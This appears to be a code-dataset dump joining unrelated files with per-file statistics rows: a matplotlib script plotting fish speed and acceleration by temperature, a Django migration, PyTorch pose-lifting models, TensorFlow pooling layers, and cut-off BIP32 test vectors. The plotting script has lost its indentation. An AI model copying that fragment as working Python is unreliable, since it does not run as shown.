(data1.pca_975[data1.gs ==i][data1.date == 18106]), alpha = 0.3,
color = colors[count], lw = 0, label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'Probability for pca coeff \n to be >= 0', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
ax.set_title('Groupsize = 16', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/pca_bernoulli_wo_data.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
# acc before each loom
#model_lm <- lm(log(acc+1) ~ temp + I(temp^2) + log(gs,2) + I(log(gs,2)^2),my_new_data)
# r sq 0.1962
if args.a_string=='acc_before_loom_99_predictions_new_squared.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv')
data2 = data2.drop(labels = 127)
data_hull = data2.acc_percentile99
gs = [1,2,4,8,16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
if args.verbose==True:
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i],
data_hull[data2.Groupsize == i], s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.acc99[data1.gs ==i])-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.acc99_025[data1.gs ==i])-1,
np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3,
color = colors[count], lw = 0,label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of acceleration \n before loom (BL/s)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/acc_before_loom_percentile99_w_data_new_squared.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
else:
gs = [16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
for i in gs:
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.acc99[data1.gs ==i])-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.acc99_025[data1.gs ==i])-1,
np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3,
color = colors[count], lw = 0, label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of acceleration \n before loom (BL/s'+r'$^2$)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
#ax.set_title('Groupsize = 16', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/acc_before_loom_percentile99_wo_data_new_squared.png'
fig.savefig(out_dir, dpi = 300)
plt.show()
#figure with both unperturbed swimming speed predictions - linear and quadratic
#model_lm <- lm(log(speed+1) ~ temp + temp^2,my_data)
if args.a_string=='speed99_before_loom_predictions_new.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv')
data_hull = data2.speed_percentile99
data3 = pd.read_csv('../../data/temp_collective/roi/speed99_before_loom_predictions.csv')
colors = plt.cm.bone_r(np.linspace(0,1,3))
if args.verbose==True:
ax.scatter(data2.Temperature,
data_hull, s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp,
np.exp(data1.speed99)-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp,
np.exp(data1.speed99_025)-1,
np.exp(data1.speed99_975)-1, alpha = 0.3,
color = colors[count], lw = 0)
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of speed (BL/s)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile99_new_w_data.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
else:
colors = plt.cm.bone_r(np.linspace(0,1,3))
ax.plot(
data1.temp,
np.exp(data1.speed99)-1,
color = colors[count], lw = lw)
ax.plot(
data3.temp,
np.exp(data3.speed99)-1,
color = colors[count-1], lw = lw)
ax.fill_between(
data1.temp,
np.exp(data1.speed99_025)-1,
np.exp(data1.speed99_975)-1, alpha = 0.3,
color = colors[count], lw = 0, label = 'quadratic')
ax.fill_between(
data3.temp,
np.exp(data3.speed99_025)-1,
np.exp(data3.speed99_975)-1, alpha = 0.3,
color = colors[count - 1], lw = 0, label = 'linear')
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of speed (BL/s)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
legend = plt.legend(fontsize=fs, loc='lower right', title = 'Model', framealpha = 0.5)
plt.setp(legend.get_title(),fontsize='xx-large')
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/speed_percentile99_together_wo_data.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
#model_lm <- lm(log(acc+1) ~ temp + I(temp^2) + log(gs,2) + I(log(gs,2)^2),my_new_data)
# r sq 0.1962
if args.a_string=='acc_99_predictions_new_squared.csv':
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_wo_loom.csv')
data2 = data2.drop(labels = 127)
data_hull = data2.acc_percentile99
data3 = pd.read_csv('../../data/temp_collective/roi/acc_99_predictions.csv')
gs = [1,2,4,8,16]
count = 1
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+1))
if args.verbose==True:
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i],
data_hull[data2.Groupsize == i], s = 10, alpha = 0.5,
color = colors[count])
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.acc99[data1.gs ==i])-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.acc99_025[data1.gs ==i])-1,
np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3,
color = colors[count], lw = 0,label = str(i))
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of acceleration (BL/s'+r'$^2$)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
plt.legend(fontsize=fs, loc='lower right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/acc_percentile99_w_data_new_squared.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
else:
gs = [16]
count = 2
colors = plt.cm.bone_r(np.linspace(0,1,3))
for i in gs:
ax.plot(
data1.temp[data1.gs ==i],
np.exp(data1.acc99[data1.gs ==i])-1,
color = colors[count], lw = lw)
ax.fill_between(
data1.temp[data1.gs ==i],
np.exp(data1.acc99_025[data1.gs ==i])-1,
np.exp(data1.acc99_975[data1.gs ==i])-1, alpha = 0.3,
color = colors[count], lw = 0, label = 'quadratic')
ax.plot(
data3.temp[data1.gs ==i],
np.exp(data3.acc99[data3.gs ==i])-1,
color = colors[count-1], lw = lw)
ax.fill_between(
data3.temp[data1.gs ==i],
np.exp(data3.acc99_025[data3.gs ==i])-1,
np.exp(data3.acc99_975[data3.gs ==i])-1, alpha = 0.3,
color = colors[count-1], lw = 0, label = 'linear')
count +=1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel(
'99th percentile of acceleration (BL/s'+r'$^2$)', size = fs)
#ax.set_title('Groupsize = '+str(gs[0]), fontsize = fs)
#plt.legend(fontsize=fs, loc='upper right', title = 'Loom', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
#ax.set_title('Groupsize = 16', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
legend = plt.legend(fontsize=fs, loc='lower right', title = 'Model', framealpha = 0.5)
plt.setp(legend.get_title(),fontsize='xx-large')
#plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
out_dir = '../../output/temp_collective/roi_figures/predictions/acc_percentile99_wo_data_together.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
| 43.954738 | 150 | 0.549213 | 12,870 | 93,228 | 3.878788 | 0.024631 | 0.059495 | 0.029968 | 0.016266 | 0.954167 | 0.947095 | 0.944311 | 0.943029 | 0.938682 | 0.93115 | 0 | 0.07858 | 0.28677 | 93,228 | 2,120 | 151 | 43.975472 | 0.672176 | 0.132074 | 0 | 0.897216 | 0 | 0 | 0.15216 | 0.096509 | 0 | 0 | 0 | 0 | 0 | 1 | 0.000714 | false | 0 | 0.004996 | 0 | 0.006424 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
bededa367f978c88dfeadc594e90da0a2ab8e162 | 1,287 | py | Python | src/pretalx/submission/migrations/0067_question_extra_fields.py | codingcatgirl/pretalx | 26554967772efa5248ae9b6a0fa838b0e8713807 | [
"Apache-2.0"
] | null | null | null | src/pretalx/submission/migrations/0067_question_extra_fields.py | codingcatgirl/pretalx | 26554967772efa5248ae9b6a0fa838b0e8713807 | [
"Apache-2.0"
] | null | null | null | src/pretalx/submission/migrations/0067_question_extra_fields.py | codingcatgirl/pretalx | 26554967772efa5248ae9b6a0fa838b0e8713807 | [
"Apache-2.0"
] | null | null | null | # Generated by Django 3.2.10 on 2022-03-17 02:24
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("submission", "0066_submission_assignments"),
]
operations = [
migrations.AddField(
model_name="question",
name="max_date",
field=models.DateField(blank=True, null=True),
),
migrations.AddField(
model_name="question",
name="max_datetime",
field=models.DateTimeField(blank=True, null=True),
),
migrations.AddField(
model_name="question",
name="max_number",
field=models.DecimalField(decimal_places=6, max_digits=16, null=True),
),
migrations.AddField(
model_name="question",
name="min_date",
field=models.DateField(blank=True, null=True),
),
migrations.AddField(
model_name="question",
name="min_datetime",
field=models.DateTimeField(blank=True, null=True),
),
migrations.AddField(
model_name="question",
name="min_number",
field=models.DecimalField(decimal_places=6, max_digits=16, null=True),
),
]
| 29.25 | 82 | 0.569542 | 126 | 1,287 | 5.674603 | 0.357143 | 0.151049 | 0.193007 | 0.226573 | 0.777622 | 0.777622 | 0.777622 | 0.718881 | 0.718881 | 0.66014 | 0 | 0.029445 | 0.313908 | 1,287 | 43 | 83 | 29.930233 | 0.780294 | 0.035742 | 0 | 0.648649 | 1 | 0 | 0.11703 | 0.021792 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.027027 | 0 | 0.108108 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
363a3f4a4a9afc99921fb9688e293b51300aca30 | 5,501 | py | Python | models/model.py | lyuheng/unsupervised_3d_pose | e6f76420a2ffcf6ecebcd53889feb2b62e70d59a | [
"MIT"
] | 3 | 2020-09-02T23:28:23.000Z | 2021-11-18T12:34:18.000Z | models/model.py | lyuheng/unsupervised_3d_pose | e6f76420a2ffcf6ecebcd53889feb2b62e70d59a | [
"MIT"
] | null | null | null | models/model.py | lyuheng/unsupervised_3d_pose | e6f76420a2ffcf6ecebcd53889feb2b62e70d59a | [
"MIT"
] | null | null | null |
import torch
import torch.nn as nn
import torch.nn.functional as F
import math
def weight_init(m):
if isinstance(m,nn.Linear):
nn.init.xavier_normal_(m.weight)
nn.init.constant_(m.bias, 0)
elif isinstance(m,nn.Conv2d):
nn.init.kaiming_normal_(m.weight, mode='fan_out', nonlinearity='relu')
elif isinstance(m,nn.BatchNorm2d):
nn.init.constant_(m.weight, 1)
nn.init.constant_(m.bias, 0)
class ResBlock(nn.Module):
def __init__(self, linear_size, p_dropout=0.5, use_batch_norm=True):
super(ResBlock, self).__init__()
self.l_size = linear_size
self.relu = nn.ReLU(inplace=True)
self.dropout = nn.Dropout(p_dropout)
self.use_batch_norm = use_batch_norm
self.w1 = nn.Linear(self.l_size, self.l_size)
if use_batch_norm:
self.batch_norm1 = nn.BatchNorm1d(self.l_size)
self.w2 = nn.Linear(self.l_size, self.l_size)
if use_batch_norm:
self.batch_norm2 = nn.BatchNorm1d(self.l_size)
def forward(self, x):
residual = x
y = self.w1(x)
if self.use_batch_norm:
y = self.batch_norm1(y)
y = self.relu(y)
y = self.dropout(y)
y = self.w2(y)
if self.use_batch_norm:
y = self.batch_norm2(y)
y = self.relu(y)
y = self.dropout(y)
out = residual + y
return out
class Lifter(nn.Module):
def __init__(self, linear_size=1024,
num_stage=4,
p_dropout=0.5):
super(Lifter, self).__init__()
self.linear_size = linear_size
self.p_dropout = p_dropout
self.num_stage = num_stage
# 2d joints
self.input_size = 17*2
# 3d joints
self.output_size = 17
# process input to linear size
self.w1 = nn.Linear(self.input_size, self.linear_size)
self.batch_norm1 = nn.BatchNorm1d(self.linear_size)
self.linear_stages = []
for _ in range(num_stage):
self.linear_stages.append(ResBlock(self.linear_size, self.p_dropout))
self.linear_stages = nn.ModuleList(self.linear_stages)
# post processing
self.w2 = nn.Linear(self.linear_size, self.output_size)
self.relu = nn.ReLU(inplace=True)
self.dropout = nn.Dropout(self.p_dropout)
for m in self.modules():
weight_init(m)
def forward(self, x):
"""
x: (BS, 17*2)
y: (BS, 17)
"""
# pre-processing
y = self.w1(x)
y = self.batch_norm1(y)
y = self.relu(y)
y = self.dropout(y)
# linear layers
for i in range(self.num_stage):
y = self.linear_stages[i](y)
y = self.w2(y)
return y
class Discriminator(nn.Module):
"""
determine whether 2d pose is real or fake.
"""
def __init__(self, linear_size=1024,
num_stage=3,
p_dropout=0.5
):
super(Discriminator, self).__init__()
self.linear_size = linear_size
self.p_dropout = p_dropout
self.num_stage = num_stage
self.input_size = 17*2
self.output_size = 1
# process input to linear size
self.w1 = nn.Linear(self.input_size, self.linear_size)
self.linear_stages = []
for _ in range(num_stage):
self.linear_stages.append(ResBlock(self.linear_size, self.p_dropout, use_batch_norm=False))
self.linear_stages = nn.ModuleList(self.linear_stages)
# post processing
self.w2 = nn.Linear(self.linear_size, self.output_size)
self.relu = nn.ReLU(inplace=True)
self.dropout = nn.Dropout(self.p_dropout)
for m in self.modules():
weight_init(m)
def forward(self, x):
# pre-processing
y = self.w1(x)
y = self.relu(y)
y = self.dropout(y)
# linear layers
for i in range(self.num_stage):
y = self.linear_stages[i](y)
y = self.w2(y)
y = F.sigmoid(y)
return y
class Discriminator_wgan(nn.Module):
"""
determine whether 2d pose is real or fake.
"""
def __init__(self, linear_size=1024,
num_stage=3,
p_dropout=0.5
):
super(Discriminator_wgan, self).__init__()
self.linear_size = linear_size
self.p_dropout = p_dropout
self.num_stage = num_stage
self.input_size = 17*2
self.output_size = 1
# process input to linear size
self.w1 = nn.Linear(self.input_size, self.linear_size)
self.linear_stages = []
for _ in range(num_stage):
self.linear_stages.append(ResBlock(self.linear_size, self.p_dropout, use_batch_norm=False))
self.linear_stages = nn.ModuleList(self.linear_stages)
# post processing
self.w2 = nn.Linear(self.linear_size, self.output_size)
self.relu = nn.ReLU(inplace=True)
self.dropout = nn.Dropout(self.p_dropout)
for m in self.modules():
weight_init(m)
def forward(self, x):
# pre-processing
y = self.w1(x)
y = self.relu(y)
y = self.dropout(y)
# linear layers
for i in range(self.num_stage):
y = self.linear_stages[i](y)
y = self.w2(y)
return y | 26.703883 | 103 | 0.571714 | 744 | 5,501 | 4.012097 | 0.125 | 0.107203 | 0.079732 | 0.060302 | 0.832161 | 0.79129 | 0.762814 | 0.750419 | 0.716918 | 0.708878 | 0 | 0.02014 | 0.323032 | 5,501 | 206 | 104 | 26.703884 | 0.781418 | 0.064716 | 0 | 0.713178 | 0 | 0 | 0.00217 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.069767 | false | 0 | 0.031008 | 0 | 0.162791 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3650f6944274a170301c0818cd99867cfbdd975d | 155 | py | Python | TURP1210/RP1210/__init__.py | Heavy-Vehicle-Networking-At-U-Tulsa/TU-RP1210 | 19ab586cb683a83437fa14b085781d2f447492b8 | [
"MIT"
] | 9 | 2018-06-04T16:48:41.000Z | 2021-09-18T03:53:14.000Z | TURP1210/RP1210/__init__.py | Heavy-Vehicle-Networking-At-U-Tulsa/TU-RP1210 | 19ab586cb683a83437fa14b085781d2f447492b8 | [
"MIT"
] | 8 | 2018-01-29T21:34:28.000Z | 2018-06-04T22:38:08.000Z | TURP1210/RP1210/__init__.py | Heavy-Vehicle-Networking-At-U-Tulsa/TU-RP1210 | 19ab586cb683a83437fa14b085781d2f447492b8 | [
"MIT"
] | 7 | 2017-04-17T16:27:27.000Z | 2022-02-27T16:30:34.000Z | #import TURP1210.RP1210
# from TURP1210.RP1210.RP1210 import *
# from TURP1210.RP1210.RP1210Functions import *
# from TURP1210.RP1210.RP1210Select import * | 38.75 | 47 | 0.806452 | 18 | 155 | 6.944444 | 0.333333 | 0.448 | 0.432 | 0.384 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.316547 | 0.103226 | 155 | 4 | 48 | 38.75 | 0.582734 | 0.954839 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
36d7f5ac9439beb611b2fc2007395d5fa7d72161 | 6,316 | py | Python | dual_encoder/layer/pooling.py | stevezheng23/dual_encoder_tf | 953f3aea507f265ce21319d99fd3e9f9d4c06bec | [
"Apache-2.0"
] | 1 | 2019-03-20T03:25:45.000Z | 2019-03-20T03:25:45.000Z | dual_encoder/layer/pooling.py | stevezheng23/dual_encoder_tf | 953f3aea507f265ce21319d99fd3e9f9d4c06bec | [
"Apache-2.0"
] | null | null | null | dual_encoder/layer/pooling.py | stevezheng23/dual_encoder_tf | 953f3aea507f265ce21319d99fd3e9f9d4c06bec | [
"Apache-2.0"
] | 1 | 2021-09-30T17:07:24.000Z | 2021-09-30T17:07:24.000Z | import numpy as np
import tensorflow as tf
from util.default_util import *
from util.dual_encoder_util import *
__all__ = ["MaxPooling", "MaxPooling3D", "AveragePooling", "AveragePooling3D"]
class MaxPooling(object):
"""max pooling layer"""
def __init__(self,
num_gpus=1,
default_gpu_id=0,
scope="max_pool"):
"""initialize max pooling layer"""
self.scope = scope
self.device_spec = get_device_spec(default_gpu_id, num_gpus)
def __call__(self,
input_data,
input_mask):
"""call max pooling layer"""
with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec):
output_mask = tf.squeeze(tf.reduce_max(input_mask, axis=-2, keepdims=True), axis=-2)
output_pool = tf.reduce_max(input_data * input_mask + MIN_FLOAT * (1 - input_mask), axis=-2) * output_mask
output_pool = output_pool + tf.reduce_max(input_data, axis=-2) * (1 - output_mask)
return output_pool, output_mask
class MaxPooling3D(object):
"""max pooling layer"""
def __init__(self,
window_size,
stride_size,
num_gpus=1,
default_gpu_id=0,
scope="max_pool_3d"):
"""initialize 3d max pooling layer"""
self.window_size = window_size
self.stride_size = stride_size
self.scope = scope
self.device_spec = get_device_spec(default_gpu_id, num_gpus)
with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec):
self.pooling_layer = tf.layers.MaxPooling3D(self.window_size, self.stride_size, "VALID")
def __call__(self,
input_data,
input_mask):
"""call 3d max pooling layer"""
with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec):
input_data_shape = tf.shape(input_data)
input_mask_shape = tf.shape(input_mask)
shape_size = len(input_data.get_shape().as_list())
if shape_size > 5:
input_pooling = tf.reshape(input_data, shape=tf.concat([[-1], input_data_shape[-4:]], axis=0))
input_pooling_mask = tf.reshape(input_mask, shape=tf.concat([[-1], input_mask_shape[-4:]], axis=0))
else:
input_pooling = input_data
input_pooling_mask = input_mask
output_pooling = self.pooling_layer(input_pooling)
output_mask = self.pooling_layer(input_pooling_mask)
if shape_size > 5:
output_pooling_shape = tf.shape(output_pooling)
output_mask_shape = tf.shape(output_mask)
output_pooling = tf.reshape(output_pooling,
shape=tf.concat([input_data_shape[:-4], output_pooling_shape[-4:]], axis=0))
output_mask = tf.reshape(output_mask,
shape=tf.concat([input_mask_shape[:-4], output_mask_shape[-4:]], axis=0))
return output_pooling, output_mask
class AveragePooling(object):
"""average pooling layer"""
def __init__(self,
num_gpus=1,
default_gpu_id=0,
scope="avg_pool"):
"""initialize average pooling layer"""
self.scope = scope
self.device_spec = get_device_spec(default_gpu_id, num_gpus)
def __call__(self,
input_data,
input_mask):
"""call average pooling layer"""
with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec):
input_sum = tf.reduce_sum(input_data * input_mask, axis=-2)
input_count = tf.count_nonzero(input_mask, axis=-2, dtype=tf.float32)
output_mask = tf.squeeze(tf.reduce_max(input_mask, axis=-2, keepdims=True), axis=-2)
output_pool = 1.0 * input_sum / (input_count - output_mask + 1.0)
return output_pool, output_mask
class AveragePooling3D(object):
"""average pooling layer"""
def __init__(self,
window_size,
stride_size,
num_gpus=1,
default_gpu_id=0,
scope="avg_pool_3d"):
"""initialize 3d average pooling layer"""
self.window_size = window_size
self.stride_size = stride_size
self.scope = scope
self.device_spec = get_device_spec(default_gpu_id, num_gpus)
with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec):
self.pooling_layer = tf.layers.AveragePooling3D(self.window_size, self.stride_size, "VALID")
def __call__(self,
input_data,
input_mask):
"""call 3d average pooling layer"""
with tf.variable_scope(self.scope, reuse=tf.AUTO_REUSE), tf.device(self.device_spec):
input_data_shape = tf.shape(input_data)
input_mask_shape = tf.shape(input_mask)
shape_size = len(input_data.get_shape().as_list())
if shape_size > 5:
input_pooling = tf.reshape(input_data, shape=tf.concat([[-1], input_data_shape[-4:]], axis=0))
input_pooling_mask = tf.reshape(input_mask, shape=tf.concat([[-1], input_mask_shape[-4:]], axis=0))
else:
input_pooling = input_data
input_pooling_mask = input_mask
output_pooling = self.pooling_layer(input_pooling)
output_mask = tf.cast(tf.greater_equal(self.pooling_layer(input_pooling_mask),
tf.constant(0.0, shape=[], dtype=tf.float32)), dtype=tf.float32)
if shape_size > 5:
output_pooling_shape = tf.shape(output_pooling)
output_mask_shape = tf.shape(output_mask)
output_pooling = tf.reshape(output_pooling,
shape=tf.concat([input_data_shape[:-4], output_pooling_shape[-4:]], axis=0))
output_mask = tf.reshape(output_mask,
shape=tf.concat([input_mask_shape[:-4], output_mask_shape[-4:]], axis=0))
return output_pooling, output_mask
| 44.478873 | 118 | 0.598797 | 781 | 6,316 | 4.503201 | 0.102433 | 0.056298 | 0.039807 | 0.040944 | 0.841911 | 0.841911 | 0.806085 | 0.779357 | 0.779357 | 0.779357 | 0 | 0.01573 | 0.29544 | 6,316 | 141 | 119 | 44.794326 | 0.774607 | 0.049873 | 0 | 0.788991 | 0 | 0 | 0.016835 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.073395 | false | 0 | 0.036697 | 0 | 0.183486 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
7fe5c89e06b351548b760b713387810c4ad9bc6c | 3,577 | py | Python | tests/core/test_deterministic.py | taobun/wan-account | 8509071904af647c9ac6c4a7b922ca855aae97fb | [
"MIT"
] | null | null | null | tests/core/test_deterministic.py | taobun/wan-account | 8509071904af647c9ac6c4a7b922ca855aae97fb | [
"MIT"
] | null | null | null | tests/core/test_deterministic.py | taobun/wan-account | 8509071904af647c9ac6c4a7b922ca855aae97fb | [
"MIT"
] | null | null | null | import pytest
from wan_account.hdaccount.deterministic import (
HDPath,
)
# Test vectors from: https://en.bitcoin.it/wiki/BIP_0032_TestVectors
# Confirmed using https://github.com/richardkiss/pycoin
@pytest.mark.parametrize("seed,path,key", [
# --- BIP32 Testvector 1 ---
(
"000102030405060708090a0b0c0d0e0f", "m",
"e8f32e723decf4051aefac8e2c93c9c5b214313817cdb01a1494b917c8436b35"
),
(
"000102030405060708090a0b0c0d0e0f", "m/0H",
"edb2e14f9ee77d26dd93b4ecede8d16ed408ce149b6cd80b0715a2d911a0afea"
),
(
"000102030405060708090a0b0c0d0e0f", "m/0H/1",
"3c6cb8d0f6a264c91ea8b5030fadaa8e538b020f0a387421a12de9319dc93368"
),
(
"000102030405060708090a0b0c0d0e0f", "m/0H/1/2H",
"cbce0d719ecf7431d88e6a89fa1483e02e35092af60c042b1df2ff59fa424dca"
),
(
"000102030405060708090a0b0c0d0e0f", "m/0H/1/2H/2",
"0f479245fb19a38a1954c5c7c0ebab2f9bdfd96a17563ef28a6a4b1a2a764ef4"
),
(
"000102030405060708090a0b0c0d0e0f", "m/0H/1/2H/2/1000000000",
"471b76e389e528d6de6d816857e012c5455051cad6660850e58372a6c3e6e7c8"
),
# --- BIP32 Testvector 2 ---
(
"fffcf9f6f3f0edeae7e4e1dedbd8d5d2cfccc9c6c3c0bdbab7b4b1aeaba8a5a29f9c"
"999693908d8a8784817e7b7875726f6c696663605d5a5754514e4b484542",
"m",
"4b03d6fc340455b363f51020ad3ecca4f0850280cf436c70c727923f6db46c3e"
),
(
"fffcf9f6f3f0edeae7e4e1dedbd8d5d2cfccc9c6c3c0bdbab7b4b1aeaba8a5a29f9c"
"999693908d8a8784817e7b7875726f6c696663605d5a5754514e4b484542",
"m/0",
"abe74a98f6c7eabee0428f53798f0ab8aa1bd37873999041703c742f15ac7e1e"
),
(
"fffcf9f6f3f0edeae7e4e1dedbd8d5d2cfccc9c6c3c0bdbab7b4b1aeaba8a5a29f9c"
"999693908d8a8784817e7b7875726f6c696663605d5a5754514e4b484542",
"m/0/2147483647H",
"877c779ad9687164e9c2f4f0f4ff0340814392330693ce95a58fe18fd52e6e93"
),
(
"fffcf9f6f3f0edeae7e4e1dedbd8d5d2cfccc9c6c3c0bdbab7b4b1aeaba8a5a29f9c"
"999693908d8a8784817e7b7875726f6c696663605d5a5754514e4b484542",
"m/0/2147483647H/1",
"704addf544a06e5ee4bea37098463c23613da32020d604506da8c0518e1da4b7"
),
(
"fffcf9f6f3f0edeae7e4e1dedbd8d5d2cfccc9c6c3c0bdbab7b4b1aeaba8a5a29f9c"
"999693908d8a8784817e7b7875726f6c696663605d5a5754514e4b484542",
"m/0/2147483647H/1/2147483646H",
"f1c7c871a54a804afe328b4c83a1c33b8e5ff48f5087273f04efa83b247d6a2d"
),
(
"fffcf9f6f3f0edeae7e4e1dedbd8d5d2cfccc9c6c3c0bdbab7b4b1aeaba8a5a29f9c"
"999693908d8a8784817e7b7875726f6c696663605d5a5754514e4b484542",
"m/0/2147483647H/1/2147483646H/2",
